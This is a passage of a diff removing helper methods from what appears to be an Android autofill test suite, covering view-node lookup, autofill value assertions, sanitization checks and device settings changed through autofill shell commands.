-            for (int i = 0; i < childrenSize; i++) {
-                final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
-                if (found != null) {
-                    return found;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
-        return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
-        return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
-        return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
-        return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
-        return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
-        return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the value of its (single) autofill hint property, or {@code null} if not
-     * found.
-     */
-    public static ViewNode findNodeByAutofillHint(ViewNode node, String hint) {
-        return findNodeByFilter(node, hint, AUTOFILL_HINT_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
-     * not found.
-     */
-    public static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
-        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id.
-     */
-    @NonNull
-    public static AutofillId findAutofillIdByResourceId(@NonNull FillContext context,
-            @NonNull String resourceId) {
-        final ViewNode node = findNodeByFilter(context.getStructure(), resourceId,
-                RESOURCE_ID_FILTER);
-        assertWithMessage("No node for resourceId %s", resourceId).that(node).isNotNull();
-        return node.getAutofillId();
-    }
-
-    /**
-     * Gets the {@code name} attribute of a node representing an HTML input tag.
-     */
-    @Nullable
-    public static String getHtmlName(@NonNull ViewNode node) {
-        final HtmlInfo htmlInfo = node.getHtmlInfo();
-        if (htmlInfo == null) {
-            return null;
-        }
-        final String tag = htmlInfo.getTag();
-        if (!"input".equals(tag)) {
-            Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
-            return null;
-        }
-        for (Pair<String, String> attr : htmlInfo.getAttributes()) {
-            if ("name".equals(attr.first)) {
-                return attr.second;
-            }
-        }
-        Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
-        return null;
-    }
-
-    /**
-     * Gets a node given its expected text, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByText(AssistStructure structure, String text) {
-        return findNodeByFilter(structure, text, TEXT_FILTER);
-    }
-
-    /**
-     * Gets a node given its expected text, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByText(ViewNode node, String text) {
-        return findNodeByFilter(node, text, TEXT_FILTER);
-    }
-
-    /**
-     * Gets a view that contains the an autofill hint, or {@code null} if not found.
-     */
-    public static View findViewByAutofillHint(Activity activity, String hint) {
-        final View rootView = activity.getWindow().getDecorView().getRootView();
-        return findViewByAutofillHint(rootView, hint);
-    }
-
-    /**
-     * Gets a view (or a descendant of it) that contains the an autofill hint, or {@code null} if
-     * not found.
-     */
-    public static View findViewByAutofillHint(View view, String hint) {
-        if (AUTOFILL_HINT_VIEW_FILTER.matches(view, hint)) return view;
-        if ((view instanceof ViewGroup)) {
-            final ViewGroup group = (ViewGroup) view;
-            for (int i = 0; i < group.getChildCount(); i++) {
-                final View child = findViewByAutofillHint(group.getChildAt(i), hint);
-                if (child != null) return child;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Asserts a text-based node is sanitized.
-     */
-    public static void assertTextIsSanitized(ViewNode node) {
-        final CharSequence text = node.getText();
-        final String resourceId = node.getIdEntry();
-        if (!TextUtils.isEmpty(text)) {
-            throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
-        }
-
-        assertNotFromResources(node);
-        assertNodeHasNoAutofillValue(node);
-    }
-
-    private static void assertNotFromResources(ViewNode node) {
-        assertThat(node.getTextIdEntry()).isNull();
-    }
-
-    public static void assertNodeHasNoAutofillValue(ViewNode node) {
-        final AutofillValue value = node.getAutofillValue();
-        if (value != null) {
-            final String text = value.isText() ? value.getTextValue().toString() : "N/A";
-            throw new AssertionError("node has value: " + value + " text=" + text);
-        }
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextOnly(ViewNode node, String expectedValue) {
-        assertText(node, expectedValue, false);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextOnly(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertText(node, expectedValue, false);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextAndValue(ViewNode node, String expectedValue) {
-        assertText(node, expectedValue, true);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts a text-based node exists and verify its values.
-     */
-    public static ViewNode assertTextAndValue(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertTextAndValue(node, expectedValue);
-        return node;
-    }
-
-    /**
-     * Asserts a text-based node exists and is sanitized.
-     */
-    public static ViewNode assertValue(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertTextValue(node, expectedValue);
-        return node;
-    }
-
-    /**
-     * Asserts the values of a text-based node whose string come from resoruces.
-     */
-    public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
-            String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertText(node, expectedValue, isAutofillable);
-        assertThat(node.getTextIdEntry()).isEqualTo(expectedTextIdEntry);
-        return node;
-    }
-
-    public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
-            String expectedValue, String expectedHintIdEntry) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertThat(node.getHint()).isEqualTo(expectedValue);
-        assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
-        return node;
-    }
-
-    private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
-        assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
-                .isEqualTo(expectedValue);
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        if (isAutofillable) {
-            assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
-            assertWithMessage("wrong auto-fill value on %s", id)
-                    .that(value.getTextValue().toString()).isEqualTo(expectedValue);
-        } else {
-            assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
-        }
-    }
-
-    /**
-     * Asserts the auto-fill value of a text-based node.
-     */
-    public static ViewNode assertTextValue(ViewNode node, String expectedText) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
-                .isEqualTo(expectedText);
-        return node;
-    }
-
-    /**
-     * Asserts the auto-fill value of a list-based node.
-     */
-    public static ViewNode assertListValue(ViewNode node, int expectedIndex) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
-                .isEqualTo(expectedIndex);
-        return node;
-    }
-
-    /**
-     * Asserts the auto-fill value of a toggle-based node.
-     */
-    public static void assertToggleValue(ViewNode node, boolean expectedToggle) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
-                .isEqualTo(expectedToggle);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based node.
-     */
-    public static void assertDateValue(Object object, AutofillValue value, int year, int month,
-            int day) {
-        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
-
-        final Calendar cal = Calendar.getInstance();
-        cal.setTimeInMillis(value.getDateValue());
-
-        assertWithMessage("Wrong year on AutofillValue %s", value)
-            .that(cal.get(Calendar.YEAR)).isEqualTo(year);
-        assertWithMessage("Wrong month on AutofillValue %s", value)
-            .that(cal.get(Calendar.MONTH)).isEqualTo(month);
-        assertWithMessage("Wrong day on AutofillValue %s", value)
-             .that(cal.get(Calendar.DAY_OF_MONTH)).isEqualTo(day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based node.
-     */
-    public static void assertDateValue(ViewNode node, int year, int month, int day) {
-        assertDateValue(node, node.getAutofillValue(), year, month, day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based view.
-     */
-    public static void assertDateValue(View view, int year, int month, int day) {
-        assertDateValue(view, view.getAutofillValue(), year, month, day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based node.
-     */
-    private static void assertTimeValue(Object object, AutofillValue value, int hour, int minute) {
-        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
-
-        final Calendar cal = Calendar.getInstance();
-        cal.setTimeInMillis(value.getDateValue());
-
-        assertWithMessage("Wrong hour on AutofillValue %s", value)
-            .that(cal.get(Calendar.HOUR_OF_DAY)).isEqualTo(hour);
-        assertWithMessage("Wrong minute on AutofillValue %s", value)
-            .that(cal.get(Calendar.MINUTE)).isEqualTo(minute);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based node.
-     */
-    public static void assertTimeValue(ViewNode node, int hour, int minute) {
-        assertTimeValue(node, node.getAutofillValue(), hour, minute);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based view.
-     */
-    public static void assertTimeValue(View view, int hour, int minute) {
-        assertTimeValue(view, view.getAutofillValue(), hour, minute);
-    }
-
-    /**
-     * Asserts a text-based node exists and is sanitized.
-     */
-    public static ViewNode assertTextIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
-        assertTextIsSanitized(node);
-        return node;
-    }
-
-    /**
-     * Asserts a list-based node exists and is sanitized.
-     */
-    public static void assertListValueIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
-        assertTextIsSanitized(node);
-    }
-
-    /**
-     * Asserts a toggle node exists and is sanitized.
-     */
-    public static void assertToggleIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertNodeHasNoAutofillValue(node);
-        assertWithMessage("ViewNode %s should not be checked", resourceId).that(node.isChecked())
-                .isFalse();
-    }
-
-    /**
-     * Asserts a node exists and has the {@code expected} number of children.
-     */
-    public static void assertNumberOfChildren(AssistStructure structure, String resourceId,
-            int expected) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        final int actual = node.getChildCount();
-        if (actual != expected) {
-            dumpStructure("assertNumberOfChildren()", structure);
-            throw new AssertionError("assertNumberOfChildren() for " + resourceId
-                    + " failed: expected " + expected + ", got " + actual);
-        }
-    }
-
-    /**
-     * Asserts the number of children in the Assist structure.
-     */
-    public static void assertNumberOfChildren(AssistStructure structure, int expected) {
-        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
-                .isEqualTo(1);
-        final int actual = getNumberNodes(structure);
-        if (actual != expected) {
-            dumpStructure("assertNumberOfChildren()", structure);
-            throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
-                    + expected + ", got " + actual);
-        }
-    }
-
-    /**
-     * Gets the total number of nodes in an structure.
-     */
-    public static int getNumberNodes(AssistStructure structure) {
-        int count = 0;
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            count += getNumberNodes(rootNode);
-        }
-        return count;
-    }
-
-    /**
-     * Gets the total number of nodes in an node, including all descendants and the node itself.
-     */
-    public static int getNumberNodes(ViewNode node) {
-        int count = 1;
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                count += getNumberNodes(node.getChildAt(i));
-            }
-        }
-        return count;
-    }
-
-    /**
-     * Creates an array of {@link AutofillId} mapped from the {@code structure} nodes with the given
-     * {@code resourceIds}.
-     */
-    public static AutofillId[] getAutofillIds(Function<String, ViewNode> nodeResolver,
-            String[] resourceIds) {
-        if (resourceIds == null) return null;
-
-        final AutofillId[] requiredIds = new AutofillId[resourceIds.length];
-        for (int i = 0; i < resourceIds.length; i++) {
-            final String resourceId = resourceIds[i];
-            final ViewNode node = nodeResolver.apply(resourceId);
-            if (node == null) {
-                throw new AssertionError("No node with resourceId " + resourceId);
-            }
-            requiredIds[i] = node.getAutofillId();
-
-        }
-        return requiredIds;
-    }
-
-    /**
-     * Get an {@link AutofillId} mapped from the {@code structure} node with the given
-     * {@code resourceId}.
-     */
-    public static AutofillId getAutofillId(Function<String, ViewNode> nodeResolver,
-            String resourceId) {
-        if (resourceId == null) return null;
-
-        final ViewNode node = nodeResolver.apply(resourceId);
-        if (node == null) {
-            throw new AssertionError("No node with resourceId " + resourceId);
-        }
-        return node.getAutofillId();
-    }
-
-    /**
-     * Prevents the screen to rotate by itself
-     */
-    public static void disableAutoRotation(UiBot uiBot) throws Exception {
-        runShellCommand(ACCELLEROMETER_CHANGE, 0);
-        uiBot.setScreenOrientation(PORTRAIT);
-    }
-
-    /**
-     * Allows the screen to rotate by itself
-     */
-    public static void allowAutoRotation() {
-        runShellCommand(ACCELLEROMETER_CHANGE, 1);
-    }
-
-    /**
-     * Gets the maximum number of partitions per session.
-     */
-    public static int getMaxPartitions() {
-        return Integer.parseInt(runShellCommand("cmd autofill get max_partitions"));
-    }
-
-    /**
-     * Sets the maximum number of partitions per session.
-     */
-    public static void setMaxPartitions(int value) throws Exception {
-        runShellCommand("cmd autofill set max_partitions %d", value);
-        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_partitions", () -> {
-            return getMaxPartitions() == value ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the maximum number of visible datasets.
-     */
-    public static int getMaxVisibleDatasets() {
-        return Integer.parseInt(runShellCommand("cmd autofill get max_visible_datasets"));
-    }
-
-    /**
-     * Sets the maximum number of visible datasets.
-     */
-    public static void setMaxVisibleDatasets(int value) throws Exception {
-        runShellCommand("cmd autofill set max_visible_datasets %d", value);
-        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_visible_datasets", () -> {
-            return getMaxVisibleDatasets() == value ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Checks if autofill window is fullscreen, see com.android.server.autofill.ui.FillUi.
-     */
-    public static boolean isAutofillWindowFullScreen(Context context) {
-        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-    }
-
-    /**
-     * Checks if screen orientation can be changed.
-     */
-    public static boolean isRotationSupported(Context context) {
-        final PackageManager packageManager = context.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            Log.v(TAG, "isRotationSupported(): is auto");
-            return false;
-        }
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
-            Log.v(TAG, "isRotationSupported(): has leanback feature");
-            return false;
-        }
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
-            Log.v(TAG, "isRotationSupported(): is PC");
-            return false;
-        }
-        return true;
-    }
-
-    private static boolean getBoolean(Context context, String id) {
-        final Resources resources = context.getResources();
-        final int booleanId = resources.getIdentifier(id, "bool", "android");
-        return resources.getBoolean(booleanId);
-    }
-
-    /**
-     * Uses Shell command to get the Autofill logging level.
-     */
-    public static String getLoggingLevel() {
-        return runShellCommand("cmd autofill get log_level");
-    }
-
-    /**
-     * Uses Shell command to set the Autofill logging level.
-     */
-    public static void setLoggingLevel(String level) {
-        runShellCommand("cmd autofill set log_level %s", level);
-    }
-
-    /**
-     * Uses Settings to enable the given autofill service for the default user, and checks the
-     * value was properly check, throwing an exception if it was not.
-     */
-    public static void enableAutofillService(@NonNull Context context,
-            @NonNull String serviceName) {
-        if (isAutofillServiceEnabled(serviceName)) return;
-
-        // Sets the setting synchronously. Note that the config itself is sets synchronously but
-        // launch of the service is asynchronous after the config is updated.
-        SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
-
-        // Waits until the service is actually enabled.
-        try {
-            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
-                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
-            });
-        } catch (Exception e) {
-            throw new AssertionError("Enabling Autofill service failed.");
-        }
-    }
-
-    /**
-     * Uses Settings to disable the given autofill service for the default user, and waits until
-     * the setting is deleted.
-     */
-    public static void disableAutofillService(@NonNull Context context) {
-        final String currentService = SettingsUtils.get(AUTOFILL_SERVICE);
-        if (currentService == null) {
-            Log.v(TAG, "disableAutofillService(): already disabled");
-            return;
-        }
-        Log.v(TAG, "Disabling " + currentService);
-        SettingsUtils.syncDelete(context, AUTOFILL_SERVICE);
-    }
-
-    /**
-     * Checks whether the given service is set as the autofill service for the default user.
-     */
-    public static boolean isAutofillServiceEnabled(@NonNull String serviceName) {
-        final String actualName = getAutofillServiceName();
-        return serviceName.equals(actualName);
-    }
-
-    /**
-     * Gets then name of the autofill service for the default user.
-     */
-    public static String getAutofillServiceName() {
-        return SettingsUtils.get(AUTOFILL_SERVICE);
-    }
-
-    /**
-     * Asserts whether the given service is enabled as the autofill service for the default user.
-     */
-    public static void assertAutofillServiceStatus(@NonNull String serviceName, boolean enabled) {
-        final String actual = SettingsUtils.get(AUTOFILL_SERVICE);
-        final String expected = enabled ? serviceName : null;
-        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
-                .that(actual).isEqualTo(expected);
-    }
-
-    /**
-     * Enables / disables the default augmented autofill service.
-     */
-    public static void setDefaultAugmentedAutofillServiceEnabled(boolean enabled) {
-        Log.d(TAG, "setDefaultAugmentedAutofillServiceEnabled(): " + enabled);
-        runShellCommand("cmd autofill set default-augmented-service-enabled 0 %s",
-                Boolean.toString(enabled));
-    }
-
-    /**
-     * Gets the instrumentation context.
-     */
-    public static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getContext();
-    }
-
-    /**
-     * Asserts the node has an {@code HTMLInfo} property, with the given tag.
-     */
-    public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
-        final HtmlInfo info = node.getHtmlInfo();
-        assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
-        assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
-        return info;
-    }
-
-    /**
-     * Gets the value of an {@code HTMLInfo} attribute.
-     */
-    @Nullable
-    public static String getAttributeValue(HtmlInfo info, String attribute) {
-        for (Pair<String, String> pair : info.getAttributes()) {
-            if (pair.first.equals(attribute)) {
-                return pair.second;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Asserts a {@code HTMLInfo} has an attribute with a given value.
-     */
-    public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
-        final String actualValue = getAttributeValue(info, attribute);
-        assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
-        assertWithMessage("Wrong value for Attribute %s", attribute)
-            .that(actualValue).isEqualTo(expectedValue);
-    }
-
-    /**
-     * Finds a {@link WebView} node given its expected form name.
-     */
-    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
-        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
-    }
-
-    private static void assertClientState(Object container, Bundle clientState,
-            String key, String value) {
-        assertWithMessage("'%s' should have client state", container)
-            .that(clientState).isNotNull();
-        assertWithMessage("Wrong number of client state extras on '%s'", container)
-            .that(clientState.keySet().size()).isEqualTo(1);
-        assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
-            .that(clientState.getString(key)).isEqualTo(value);
-    }
-
-    /**
-     * Asserts the content of a {@link FillEventHistory#getClientState()}.
-     *
-     * @param history event to be asserted
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    @SuppressWarnings("javadoc")
-    public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
-            @NonNull String key, @NonNull String value) {
-        assertThat(history).isNotNull();
-        @SuppressWarnings("deprecation")
-        final Bundle clientState = history.getClientState();
-        assertClientState(history, clientState, key, value);
-    }
-
-    /**
-     * Asserts the {@link FillEventHistory#getClientState()} is not set.
-     *
-     * @param history event to be asserted
-     */
-    @SuppressWarnings("javadoc")
-    public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
-        assertThat(history).isNotNull();
-        @SuppressWarnings("deprecation")
-        final Bundle clientState = history.getClientState();
-        assertWithMessage("History '%s' should not have client state", history)
-             .that(clientState).isNull();
-    }
-
-    /**
-     * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
-     *
-     * @param event event to be asserted
-     * @param eventType expected type
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
-     * have client state)
-     * @param value the only value expected in the client state bundle (or {@code null} if it
-     * shouldn't have client state)
-     * @param fieldClassificationResults expected results when asserting field classification
-     */
-    private static void assertFillEvent(@NonNull FillEventHistory.Event event,
-            int eventType, @Nullable String datasetId,
-            @Nullable String key, @Nullable String value,
-            @Nullable FieldClassificationResult[] fieldClassificationResults) {
-        assertThat(event).isNotNull();
-        assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
-        if (datasetId == null) {
-            assertWithMessage("Event %s should not have dataset id", event)
-                .that(event.getDatasetId()).isNull();
-        } else {
-            assertWithMessage("Wrong dataset id for %s", event)
-                .that(event.getDatasetId()).isEqualTo(datasetId);
-        }
-        final Bundle clientState = event.getClientState();
-        if (key == null) {
-            assertWithMessage("Event '%s' should not have client state", event)
-                .that(clientState).isNull();
-        } else {
-            assertClientState(event, clientState, key, value);
-        }
-        assertWithMessage("Event '%s' should not have selected datasets", event)
-                .that(event.getSelectedDatasetIds()).isEmpty();
-        assertWithMessage("Event '%s' should not have ignored datasets", event)
-                .that(event.getIgnoredDatasetIds()).isEmpty();
-        assertWithMessage("Event '%s' should not have changed fields", event)
-                .that(event.getChangedFields()).isEmpty();
-        assertWithMessage("Event '%s' should not have manually-entered fields", event)
-                .that(event.getManuallyEnteredField()).isEmpty();
-        final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
-        if (fieldClassificationResults == null) {
-            assertThat(detectedFields).isEmpty();
-        } else {
-            assertThat(detectedFields).hasSize(fieldClassificationResults.length);
-            int i = 0;
-            for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
-                assertMatches(i, entry, fieldClassificationResults[i]);
-                i++;
-            }
-        }
-    }
-
-    private static void assertMatches(int i, Entry<AutofillId, FieldClassification> actualResult,
-            FieldClassificationResult expectedResult) {
-        assertWithMessage("Wrong field id at index %s", i).that(actualResult.getKey())
-                .isEqualTo(expectedResult.id);
-        final List<Match> matches = actualResult.getValue().getMatches();
-        assertWithMessage("Wrong number of matches: " + matches).that(matches.size())
-                .isEqualTo(expectedResult.categoryIds.length);
-        for (int j = 0; j < matches.size(); j++) {
-            final Match match = matches.get(j);
-            assertWithMessage("Wrong categoryId at (%s, %s): %s", i, j, match)
-                .that(match.getCategoryId()).isEqualTo(expectedResult.categoryIds[j]);
-            assertWithMessage("Wrong score at (%s, %s): %s", i, j, match)
-                .that(match.getScore()).isWithin(0.01f).of(expectedResult.scores[j]);
-        }
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     */
-    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId) {
-        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @Nullable String key, @Nullable String value) {
-        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     */
-    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId) {
-        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
-            @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
-     *
-     * @param event event to be asserted
-     */
-    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
-        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
-     * event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetAuthenticationSelected(
-            @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForAuthenticationSelected(
-            @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
-    }
-
-    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
-            @NonNull AutofillId fieldId, @NonNull String categoryId, float score) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId, categoryId, score)
-                });
-    }
-
-    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
-            @NonNull FieldClassificationResult[] results) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, results);
-    }
-
-    public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null);
-    }
-
-    @NonNull
-    public static String getActivityName(List<FillContext> contexts) {
-        if (contexts == null) return "N/A (null contexts)";
-
-        if (contexts.isEmpty()) return "N/A (empty contexts)";
-
-        final AssistStructure structure = contexts.get(contexts.size() - 1).getStructure();
-        if (structure == null) return "N/A (no AssistStructure)";
-
